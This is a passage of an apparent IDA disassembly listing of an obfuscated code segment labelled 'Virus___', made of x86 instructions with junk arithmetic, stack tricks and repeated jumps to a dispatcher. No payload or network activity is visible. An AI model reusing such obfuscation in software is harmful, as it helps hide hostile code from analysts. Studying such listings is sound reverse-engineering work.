DATA XREF: Virus___:00542E04o push dword ptr [edi+1Ch] popf pop eax adc [esp], eax pushf jmp loc_542F67 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54CFA9: ; CODE XREF: sub_545A2B-1E16j xor [esp-2Eh+arg_2A], esi xor esi, [esp-2Eh+arg_2A] mov esp, [esp-2Eh+arg_2A] mov fs:[edx], ax jmp loc_542F67 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_54E80B loc_54CFBB: ; CODE XREF: sub_54E80B-1614j add edx, ebx mov ebx, [esp-4+arg_0] jmp loc_542FEA ; END OF FUNCTION CHUNK FOR sub_54E80B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54CFC5: ; CODE XREF: sub_545A2B+1D1Bj mov esi, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xor ebp, [esp+16h+var_16] xor [esp+16h+var_16], ebp xor ebp, [esp+16h+var_16] pop esp add esi, 4 jmp loc_54DC3C ; --------------------------------------------------------------------------- loc_54CFE9: ; CODE XREF: sub_545A2B+3Ej push ecx push eax mov al, 32h mov ch, 80h xor ch, al jmp loc_544343 ; --------------------------------------------------------------------------- loc_54CFF6: ; CODE XREF: sub_545A2B+8888j push edx push 3FF612E0h pop edx xor edx, 6D373753h jmp loc_544FAD ; --------------------------------------------------------------------------- loc_54D008: ; CODE XREF: sub_545A2B+2AADj shl edx, 1 push edi mov edi, 736AD365h sub edx, edi mov edi, [esp-3Ch+arg_36+2] jmp loc_5460D6 ; --------------------------------------------------------------------------- loc_54D01A: ; CODE XREF: sub_545A2B+8841j push 3FBEh jmp loc_54CDEC ; --------------------------------------------------------------------------- loc_54D024: ; CODE XREF: sub_545A2B+66A6j sub ecx, ebx sub ecx, 2C9B51D0h pop ebx mov eax, ecx pop ecx sub [edi+24h], eax mov eax, [esp-64h+arg_60] add esp, 4 loc_54D039: ; CODE XREF: sub_545A2B+8E26j push 62F1h mov [esp-64h+arg_60], ebx mov eax, [esp-64h+arg_60] sub esp, 4 mov [esp-60h+arg_5C], edi mov edi, esp jmp loc_54C880 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_54C297 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54D05D: ; CODE XREF: sub_545A2B+4059j mov esp, [esp-50h+arg_4C] mov [esp-50h+arg_4C], ecx jmp loc_547271 ; --------------------------------------------------------------------------- loc_54D068: ; CODE XREF: sub_545A2B+65Ej add esp, 4 push 7731h jmp loc_5497AD ; --------------------------------------------------------------------------- loc_54D078: ; CODE XREF: sub_545A2B+1BFFj add ebp, 4 jmp loc_5465F4 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_54DD9C loc_54D083: ; CODE XREF: sub_54DD9C+Cj push esp mov edx, [esp+8+var_8] add esp, 4 add edx, 4 push ebp mov ebp, 2 add edx, 7193465Fh add edx, ebp sub edx, 7193465Fh mov ebp, [esp+8+var_8] add esp, 4 push 4C5Eh mov [esp+8+var_8], edx push [esp+8+var_4] mov edx, [esp+0Ch+var_C] add esp, 4 pop [esp+8+var_8] mov esp, [esp+4+var_4] mov ax, [esp-8+arg_4] push ebp mov ebp, esp push eax jmp loc_545DEE ; END OF FUNCTION CHUNK FOR sub_54DD9C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54D0D8: ; CODE XREF: sub_545A2B-93Fj mov [esp-4Ch+arg_46+2], eax jmp loc_54ACC0 ; --------------------------------------------------------------------------- loc_54D0E0: ; CODE XREF: sub_545A2B+20EEj mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp-40h+arg_3A+2] pop esp shl ebp, 7 shr ebp, 1 sub ebp, 2016B1Bh xor eax, ebp jmp loc_546FBF ; --------------------------------------------------------------------------- loc_54D104: ; CODE XREF: sub_545A2B+58B7j xchg esi, [esp-10h+arg_A+2] jmp loc_54DC88 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_54E622 loc_54D10C: ; CODE XREF: sub_54E622+9j mov bp, 4B20h xchg di, bp neg di jmp loc_54859B ; END OF FUNCTION CHUNK FOR sub_54E622 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_543D76 loc_54D11B: ; CODE XREF: sub_543D76+15j add esi, ebx pop ebx jmp loc_54CC4E ; END OF FUNCTION CHUNK FOR sub_543D76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54D123: ; CODE XREF: sub_545A2B+5B6Bj add edx, ebx jmp loc_5491CA ; --------------------------------------------------------------------------- loc_54D12A: ; CODE XREF: sub_545A2B-154j mov word ptr [esp-1Ch+arg_16+2], cx jmp loc_54C017 ; --------------------------------------------------------------------------- loc_54D133: ; CODE XREF: sub_545A2B+4B31j push [esp-1Eh+arg_1A] push [esp-1Ah+arg_16] mov ecx, [esp-16h+arg_12] add esp, 4 add esp, 4 push 4473h mov [esp-1Ah+arg_16], ecx push 6ACFh push esp pop [esp-12h+arg_E] jmp loc_54D9D2 ; --------------------------------------------------------------------------- loc_54D15E: ; CODE XREF: sub_545A2B+37DBj test cl, al pushf jmp loc_542F67 ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_54D166 proc near ; DATA XREF: Virus___:00542EF4o mov cx, [esp+0] sub esp, 4 jmp loc_54B4BE sub_54D166 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54D175: ; CODE XREF: sub_545A2B-1B01j xchg edi, [esp-40h+arg_3A+2] mov ecx, [esp-40h+arg_3A+2] add esp, 4 jmp loc_546A77 ; --------------------------------------------------------------------------- loc_54D186: ; CODE XREF: sub_545A2B+10CCj push esi mov esi, 4CBAD142h add edi, esi pop esi and edi, 1E700C20h push ebx jmp loc_549931 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5440AE loc_54D19B: ; CODE XREF: sub_5440AE+21j add edx, eax jmp loc_543AC8 ; END OF FUNCTION CHUNK FOR sub_5440AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54D1A2: ; CODE XREF: sub_545A2B+8E32j push edi mov edi, 39C830D9h dec edi sub edi, 0C2E70B64h or edx, edi pop edi or edx, 30A15350h jmp loc_54ADD2 ; --------------------------------------------------------------------------- loc_54D1BD: ; CODE XREF: sub_545A2B+2480j push [esp-44h+arg_42+2] jmp loc_54574E ; --------------------------------------------------------------------------- loc_54D1C6: ; CODE XREF: sub_545A2B+4787j push [esp-26h+arg_22] mov eax, [esp-22h+arg_1E] add esp, 4 push 5689h mov [esp-22h+arg_1E], edx mov edx, esp add edx, 4 push ebx mov ebx, 0A9C5F2Fh push ecx jmp loc_54BA38 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_54E80B loc_54D1EB: ; CODE XREF: sub_54E80B-1AF6j pop ebx mov ebx, edx mov edx, [esp+0] add esp, 4 jmp loc_54CFBB ; END OF FUNCTION CHUNK FOR sub_54E80B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54D1FC: ; CODE XREF: sub_545A2B+339Dj pop esp mov [esp-16h+arg_12], ebx push esp pop ebx push edi mov edi, 33C158BDh shl edi, 8 shr edi, 7 push 62EFh mov [esp-0Eh+arg_A], esi mov esi, 67EB005Dh sub esi, 0B342550h jmp loc_54B04C ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_54D226 proc near ; CODE XREF: sub_545A2B+1FA5j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00543871 SIZE 0000000E BYTES sub esp, 4 mov [esp+4+var_4], edx mov edx, esp push esi push edi mov edi, 4 mov esi, edi pop edi add edx, esi pop esi add edx, 4 jmp loc_543871 sub_54D226 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54D249: ; CODE XREF: sub_545A2B+52CCj add eax, 4 xchg eax, [esp-5Ch+arg_58] pop esp jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54D257: ; CODE XREF: sub_545A2B+1E33j movzx eax, al mov dx, word ptr [esp-48h+arg_42+2] push 62CBh jmp loc_54634C ; --------------------------------------------------------------------------- loc_54D268: ; CODE XREF: sub_545A2B+488Aj mov ch, bl mov dh, ch pop ecx mov ebx, [esp-1Ah+arg_16] add esp, 4 or dh, 23h jmp loc_544979 ; --------------------------------------------------------------------------- loc_54D27B: ; CODE XREF: sub_545A2B+5724j mov esp, [esp-1Ch+arg_16+2] mov [esp-1Ch+arg_16+2], ecx jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54D286: ; CODE XREF: sub_545A2B+328Fj mov ecx, edx mov edx, [esp-1Eh+arg_1A] add esp, 4 add edi, ecx pop ecx add edi, 17FE2467h jmp loc_548FE5 ; --------------------------------------------------------------------------- loc_54D29C: ; CODE XREF: sub_545A2B+44j or edi, ecx pop ecx shr edi, 3 push edx mov edx, 473D247Dh add edi, edx pop edx jmp loc_54F130 ; --------------------------------------------------------------------------- loc_54D2B0: ; CODE XREF: sub_545A2B+3389j pop ecx add edx, 53F243ADh sub edx, eax sub edx, 53F243ADh jmp loc_5446D0 ; --------------------------------------------------------------------------- loc_54D2C4: ; CODE XREF: sub_545A2B+130Dj or ecx, esi pop esi sub ecx, 27197EB0h sub ecx, 4FE62B5Bh jmp loc_54AED0 ; --------------------------------------------------------------------------- loc_54D2D8: ; CODE XREF: sub_545A2B+985Aj push ecx push edx mov edx, 6C3A671Ah jmp loc_543095 ; --------------------------------------------------------------------------- loc_54D2E4: ; CODE XREF: sub_545A2B+5807j xor ebp, 554A3CE1h xor ebp, 65BD64B4h jmp loc_545597 ; --------------------------------------------------------------------------- loc_54D2F5: ; CODE XREF: sub_545A2B-226Cj add edi, 71C700E7h push [esp-16h+arg_12] pop esi add esp, 4 retn ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54D30B: ; CODE XREF: Virus___:0054CB41j push dword ptr [esp] pop ecx add esp, 4 push esi push 5E59h mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] push dword ptr [esp] pop esi add esp, 4 add esp, 4 add esi, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] jmp loc_54C785 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54D349: ; CODE XREF: sub_545A2B+4A6Dj xor esi, [esp-44h+arg_3E+2] mov esp, [esp-44h+arg_3E+2] or [esp-44h+arg_3E+2], eax pushf jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54D358: ; CODE XREF: sub_545A2B+3BA2j pop edx jmp sub_54E186 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- loc_54D35E: ; CODE XREF: Virus___:0054D6C1j sub esp, 4 mov [esp], eax jmp loc_5496FF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54D369: ; CODE XREF: sub_545A2B+A04j jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54D36E: ; CODE XREF: sub_545A2B+3325j xor eax, 25BA86C5h mov ebx, eax pop eax jmp loc_54E8AD ; --------------------------------------------------------------------------- loc_54D37B: ; CODE XREF: sub_545A2B+713Aj add ebp, ebx pop ebx add ebp, 4 xor ebp, [esp-44h+arg_3E+2] xor [esp-44h+arg_3E+2], ebp xor ebp, [esp-44h+arg_3E+2] mov esp, [esp-44h+arg_3E+2] add ecx, 1 jmp loc_548843 ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_54D395 proc near ; DATA XREF: Virus___:00542F10o mov esp, [esp+0] jmp loc_542F67 sub_54D395 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54D39D: ; CODE XREF: sub_545A2B+7B7Cj push edx jmp loc_549197 ; --------------------------------------------------------------------------- loc_54D3A3: ; CODE XREF: sub_545A2B-10FBj add ebx, 3142708Fh add ebx, edi sub ebx, 3142708Fh add ebx, 2DB65695h mov ecx, [ebx] mov ebx, [esp-50h+arg_4C] push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_546925 ; --------------------------------------------------------------------------- loc_54D3D0: ; CODE XREF: sub_545A2B+9352j mov eax, [esp-4Ch+arg_46+2] add esp, 4 push ebp push 6E462D8Dh pop ebp shr ebp, 5 add ebp, 4D79F57h jmp loc_5484E7 ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_54D3EB proc near ; CODE XREF: sub_545A2B+436Aj var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push dword ptr [esp+4] pop ebx jmp $+5 pop [esp+4+var_4] mov esp, [esp+0] push [esp-8+arg_4] push [esp-4+arg_0] pop edx push ebx jmp loc_54C396 sub_54D3EB endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54D409: ; CODE XREF: sub_545A2B+43Bj push [esp-12h+arg_12] mov ebp, [esp-0Eh+arg_A] add esp, 4 pop [esp-12h+arg_E] xor ebp, ebx xor ebx, ebp xor ebp, ebx not ebx xchg ebx, ebp xor [esp-16h+arg_12], ebp xor ebp, [esp-16h+arg_12] xor [esp-16h+arg_12], ebp pop eax push 638Fh jmp loc_54F444 ; --------------------------------------------------------------------------- loc_54D437: ; CODE XREF: sub_545A2B+6C73j mov ebx, [esp-30h+arg_2A+2] add esp, 4 sub esi, ebp pop ebp add esi, eax push edi mov edi, 40C43E6Dh jmp loc_545B79 ; --------------------------------------------------------------------------- loc_54D450: ; CODE XREF: sub_545A2B-24D3j xor ecx, 7326536Bh shr ecx, 3 push ebx mov ebx, 7B7A7A7Ch jmp loc_54B373 ; --------------------------------------------------------------------------- loc_54D464: ; CODE XREF: sub_545A2B+84BCj push ecx jmp loc_548817 ; --------------------------------------------------------------------------- loc_54D46A: ; CODE XREF: sub_545A2B+1CB2j mov ebp, 0CB6387Bh jmp loc_54B5BB ; --------------------------------------------------------------------------- loc_54D474: ; CODE XREF: sub_545A2B+D53j pop esi xchg ecx, [esp-26h+arg_22] pop esp add ebp, 4 add ebp, 2 push 3E83h mov [esp-26h+arg_22], ebp push [esp-26h+arg_26] push [esp-22h+arg_1E] jmp loc_5440D4 ; --------------------------------------------------------------------------- loc_54D499: ; CODE XREF: sub_545A2B+73E9j mov [esp+0], ecx push ebx jmp loc_54C935 ; --------------------------------------------------------------------------- loc_54D4A2: ; CODE XREF: sub_545A2B+4E9Fj sub bh, 91h xor bh, 4Bh add bh, 94h mov cl, bh pop ebx push eax mov al, 0D9h sub bl, al mov eax, [esp-16h+arg_12] add esp, 4 sub bl, cl jmp loc_54CEDC ; --------------------------------------------------------------------------- loc_54D4C3: ; CODE XREF: sub_545A2B+8017j pop eax mov [edi+20h], ebx push [esp-1Eh+arg_1A] pop ebx jmp loc_54DBDD ; --------------------------------------------------------------------------- loc_54D4D0: ; CODE XREF: sub_545A2B+42E1j pop edi add ebx, 2 xor ebx, [esp-1Ah+arg_16] xor [esp-1Ah+arg_16], ebx jmp loc_54446C ; --------------------------------------------------------------------------- loc_54D4DF: ; CODE XREF: sub_545A2B+55F3j sub ebx, eax pop eax jmp loc_5456B8 ; --------------------------------------------------------------------------- loc_54D4E7: ; CODE XREF: sub_545A2B+501j mov edi, 669F7D03h shl edi, 3 sub edi, 2F30996Fh jmp loc_5476B1 ; --------------------------------------------------------------------------- loc_54D4FA: ; CODE XREF: sub_545A2B+11A2j add edi, ebp pop ebp jmp loc_543D03 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_543A46 loc_54D502: ; CODE XREF: sub_543A46-28Fj sub ebx, 0D543625Ch jmp loc_5455EE ; END OF FUNCTION CHUNK FOR sub_543A46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54D50D: ; CODE XREF: sub_545A2B+349Cj pop ebx sub al, bl add al, 0Bh jmp loc_548066 ; --------------------------------------------------------------------------- loc_54D517: ; CODE XREF: sub_545A2B-C4Fj mov ebx, 49A63278h add ebx, 97AF473h and edi, ebx pop ebx add edi, 686B03CBh add edi, 4493DB6Eh add eax, 1CB035BFh add eax, edi jmp loc_54998D ; --------------------------------------------------------------------------- loc_54D53D: ; CODE XREF: sub_545A2B+2749j add ecx, 34476D0Ah pop eax and eax, ecx push [esp-48h+arg_42+2] pop ecx sub esp, 4 mov [esp-44h+arg_3E+2], eax mov eax, esp add eax, 4 jmp loc_5476C7 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_542FBE loc_54D55F: ; CODE XREF: sub_542FBE+6BDj add ebx, esi add ebx, 96151A0h push edi mov edi, 4A95D90h sub ebx, edi jmp loc_548B3E ; END OF FUNCTION CHUNK FOR sub_542FBE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54D574: ; CODE XREF: sub_545A2B+8984j shl eax, 2 sub eax, 0BEDF13F8h add edx, eax pop eax add edx, 4 xor edx, [esp-48h+arg_42+2] xor [esp-48h+arg_42+2], edx xor edx, [esp-48h+arg_42+2] jmp loc_54D800 ; --------------------------------------------------------------------------- loc_54D590: ; CODE XREF: sub_545A2B+6F24j mov ecx, ebx pop ebx xor edx, ecx pop ecx push ebp mov ebp, 0E8173B3h jmp loc_54AE52 ; --------------------------------------------------------------------------- loc_54D5A1: ; CODE XREF: sub_545A2B+7F1Cj and ecx, 0F34DCBh jmp loc_54D39D ; --------------------------------------------------------------------------- loc_54D5AC: ; CODE XREF: sub_545A2B+5422j push ecx mov ecx, 22BE2742h not ecx dec ecx xor ecx, 38739618h jmp loc_54CD9B ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_54D5C0 proc near ; CODE XREF: sub_545A2B+291Aj push ebx push esp pop ebx add ebx, 4 push edi mov edi, 3B445F82h not edi dec edi inc edi jmp loc_546AEB sub_54D5C0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54D5D8: ; CODE XREF: sub_545A2B+29F8j push [esp-40h+arg_3A+2] push [esp-3Ch+arg_36+2] jmp loc_54A894 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- loc_54D5E3: ; DATA XREF: Virus___:00542D2Co mov cx, [esp] push 31FDh mov [esp], ebx push esp jmp loc_544935 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54D5F5: ; CODE XREF: sub_545A2B+5C1Aj push edx jmp loc_54F27D ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- loc_54D5FB: ; DATA XREF: Virus___:00542EFCo mov cx, [esp] push 4D60h mov [esp], edx mov edx, esp add edx, 4 push 569Ch mov [esp], ebx sub esp, 4 mov [esp], edx push 56630D15h mov edx, [esp] jmp loc_54858E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54D62A: ; CODE XREF: sub_545A2B+1A23j mov dl, 81h xor dl, 98h or dl, 0F9h shl dl, 4 not dl jmp loc_545F45 ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_54D63C proc near ; CODE XREF: sub_545A2B+3B3Ej var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00544594 SIZE 00000009 BYTES push ebx mov ebx, 527018C3h xor ebx, 5202FED2h xor edi, ebx pop ebx jmp loc_544594 sub_54D63C endp ; =============== S U B R O U T I N E ======================================= sub_54D650 proc near ; CODE XREF: sub_545A2B+6824j var_C = dword ptr -0Ch var_8 = dword ptr -8 ; FUNCTION CHUNK AT 00543910 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00544DE1 SIZE 0000000E BYTES push ebp push dword ptr [esp+4] mov ebp, [esp+8+var_8] push esi mov esi, esp add esi, 4 jmp loc_544DE1 sub_54D650 endp ; =============== S U B R O U T I N E ======================================= sub_54D666 proc near ; DATA XREF: Virus___:00542EA8o lodsb jmp loc_54AC22 sub_54D666 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54D66C: ; CODE XREF: sub_545A2B+515Bj push [esp-32h+arg_2E] jmp loc_549A28 ; --------------------------------------------------------------------------- loc_54D674: ; CODE XREF: sub_545A2B-269Dj add ebp, 1FC2189Ch push edi push esi mov esi, 0AC77708h xor esi, 6AF460B9h mov edi, esi pop esi jmp loc_54AE3C ; --------------------------------------------------------------------------- loc_54D68F: ; CODE XREF: sub_545A2B+71D7j sub ecx, ebp jmp loc_548475 ; --------------------------------------------------------------------------- loc_54D696: ; CODE XREF: sub_545A2B+1530j mov edx, 3E39068Dh add edi, edx pop edx push esi jmp loc_548FB9 ; --------------------------------------------------------------------------- loc_54D6A4: ; CODE XREF: sub_545A2B-167Dj jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54D6A9: ; CODE XREF: sub_545A2B+530j push 46B2h jmp loc_545E41 ; --------------------------------------------------------------------------- loc_54D6B3: ; CODE XREF: sub_545A2B+69B4j mov ebp, [esp-38h+arg_32+2] push edi push esp jmp loc_544BF4 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_54D35E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54D6C6: ; CODE XREF: sub_545A2B-2335j pop ecx add edi, 2 xchg edi, [esp-16h+arg_12] pop esp xor bl, al movzx eax, al push dword ptr [edi+eax*4] jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54D6DB: ; CODE XREF: sub_545A2B+3E1Aj xchg edx, [esp+0Eh+var_10+2] pop esp jmp loc_54EC5F ; --------------------------------------------------------------------------- loc_54D6E4: ; CODE XREF: sub_545A2B+6491j shl edx, 7 inc edx push ebx jmp loc_54B95B ; --------------------------------------------------------------------------- loc_54D6EE: ; CODE XREF: sub_545A2B+4A89j mov eax, [esp-48h+arg_42+2] add esp, 4 add ebp, 6240C35h sub ebp, ecx sub ebp, 6240C35h pop ecx mov esi, ebp pop ebp and eax, esi jmp loc_54645A ; --------------------------------------------------------------------------- loc_54D70D: ; CODE XREF: sub_545A2B+1841j pop [esp-40h+arg_3A+2] add [esp-44h+arg_3E+2], 4 jmp loc_54545B ; --------------------------------------------------------------------------- loc_54D719: ; CODE XREF: sub_545A2B+7D40j pop edx add esi, ebx pop ebx add ebx, esi pop esi jmp loc_54A9BC ; --------------------------------------------------------------------------- loc_54D725: ; CODE XREF: sub_545A2B+1C81j pop esi sub edx, 5BEE4664h push 1856h jmp loc_548EDE ; --------------------------------------------------------------------------- loc_54D736: ; CODE XREF: sub_545A2B+441j mov eax, 4 sub edi, eax jmp loc_54A13F ; --------------------------------------------------------------------------- loc_54D742: ; CODE XREF: sub_545A2B+87D0j or ecx, edx pop edx jmp loc_54E892 ; --------------------------------------------------------------------------- loc_54D74A: ; CODE XREF: sub_545A2B+BFBj mov edi, 1CB76D07h jmp loc_545266 ; --------------------------------------------------------------------------- loc_54D754: ; CODE XREF: sub_545A2B+28C1j push edi mov edi, 0AC91043h xor edi, 27495F73h xor edi, 0E12B709h mov edx, edi pop edi xor ebx, edx jmp loc_54D719 ; --------------------------------------------------------------------------- loc_54D770: ; CODE XREF: sub_545A2B+15DCj push esi jmp loc_548AE2 ; --------------------------------------------------------------------------- loc_54D776: ; CODE XREF: sub_545A2B+1410j mov ebp, [esp-38h+arg_32+2] add esp, 4 jmp loc_549666 ; --------------------------------------------------------------------------- loc_54D784: ; CODE XREF: sub_545A2B+70Dj pop esi pop [esp-1Eh+arg_1A] mov esp, [esp-22h+arg_1E] mov [esp-22h+arg_1E], edx push eax pushf jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54D795: ; CODE XREF: sub_545A2B+85D3j mov esi, [esp-1Ah+arg_16] push esi push esp pop esi add esi, 4 add esi, 4 xor esi, [esp-16h+arg_12] xor [esp-16h+arg_12], esi xor esi, [esp-16h+arg_12] pop esp jmp loc_54880C ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- lodsd xor eax, ebx push 3087h mov [esp], edi jmp loc_545AA3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54D7C6: ; CODE XREF: sub_545A2B+6172j pop [esp-20h+arg_1A+2] jmp loc_545EAA ; --------------------------------------------------------------------------- loc_54D7CE: ; CODE XREF: sub_545A2B+DAFj add bl, 46h add bl, ch push eax mov ah, 2 shr ah, 8 jmp loc_54E73C ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- loc_54D7DE: ; CODE XREF: Virus___:005454CDj push dword ptr [esp] pop edx sub esp, 4 mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push edx jmp loc_54DDCB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54D800: ; CODE XREF: sub_545A2B+7B60j mov esp, [esp-48h+arg_42+2] sub esp, 4 mov [esp-44h+arg_3E+2], ecx push 10C1h mov [esp-40h+arg_3A+2], eax jmp loc_547600 ; --------------------------------------------------------------------------- loc_54D819: ; CODE XREF: sub_545A2B+1885j add bl, ah jmp loc_548F03 ; --------------------------------------------------------------------------- loc_54D820: ; CODE XREF: sub_545A2B+65D4j pop edx jmp loc_54B628 ; --------------------------------------------------------------------------- loc_54D826: ; CODE XREF: sub_545A2B+12DBj pop esi add esi, 4 push ebx jmp loc_549DCE ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5441CB loc_54D833: ; CODE XREF: sub_5441CB+6j sub esi, ebp pop ebp push esi jmp loc_546134 ; END OF FUNCTION CHUNK FOR sub_5441CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54D83C: ; CODE XREF: sub_545A2B+1A1Bj xor edi, 2BC1959Eh add edx, edi pop edi jmp loc_54F056 ; --------------------------------------------------------------------------- loc_54D84A: ; CODE XREF: sub_545A2B-1BCCj mov ax, word ptr [esp-56h+arg_50+2] add esp, 2 sub dl, 0EDh sub al, dl jmp loc_5434EA ; --------------------------------------------------------------------------- loc_54D85E: ; CODE XREF: sub_545A2B-2320j add edx, 41DF1DFDh pop edi jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54D86A: ; CODE XREF: sub_545A2B+407Cj sub edx, 3243F71h sub esp, 4 mov [esp-50h+arg_4C], edi mov edi, 3DB6614Bh and edx, edi pop edi jmp loc_54A8A2 ; --------------------------------------------------------------------------- loc_54D883: ; CODE XREF: sub_545A2B+133Aj add ebx, 0FFD388Fh or ebx, 261A0C2Bh neg ebx neg ebx or ebx, 46E4688Dh add ebx, 23A66D01h mov ebp, ebx jmp loc_549B03 ; --------------------------------------------------------------------------- loc_54D8A6: ; CODE XREF: sub_545A2B+4C99j inc ecx sub ecx, 1910C21Eh sub ebp, ecx pop ecx xchg ebp, [esp-54h+arg_50] pop esp mov [esp-58h+arg_54], edx jmp loc_5479D5 ; --------------------------------------------------------------------------- loc_54D8BC: ; CODE XREF: sub_545A2B+5556j jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54D8C1: ; CODE XREF: sub_545A2B+5993j pop ecx or eax, esi pop esi sub esp, 4 mov [esp-32h+arg_2E], ebx mov ebx, 1FF7FFEFh jmp loc_549303 ; --------------------------------------------------------------------------- loc_54D8D8: ; CODE XREF: sub_545A2B+6879j pop ecx neg bh dec bh add bh, 5Dh mov dl, bh pop ebx xor dl, 51h sub dl, 38h not dl shr dl, 8 xor dl, 8Bh xor bh, dl pop edx mov dl, bh pop ebx sub al, dl pop edx push 4614h jmp loc_5447CC ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_54317D loc_54D904: ; CODE XREF: sub_54317D+41Bj pop ebx jmp loc_543152 ; END OF FUNCTION CHUNK FOR sub_54317D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54D90A: ; CODE XREF: sub_545A2B+979Ej mov ebp, 318569F5h and ebp, 622B2B33h add ebp, 0DFFED6D3h add ecx, ebp pop ebp push eax push ebx push 2D2Dh jmp loc_547C57 ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_54D92A proc near ; CODE XREF: sub_545A2B+50A9j ; FUNCTION CHUNK AT 0054DE05 SIZE 00000006 BYTES push ebp mov ebp, 259B61BFh shr ebp, 3 jmp loc_54DE05 sub_54D92A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54D938: ; CODE XREF: sub_545A2B+40B7j sub edx, 4 xchg edx, [esp-6+arg_0+2] pop esp mov [esp-0Ah+arg_4+2], ecx mov ecx, 3DE72C0Ah jmp loc_54D5A1 ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_54D94C proc near ; CODE XREF: 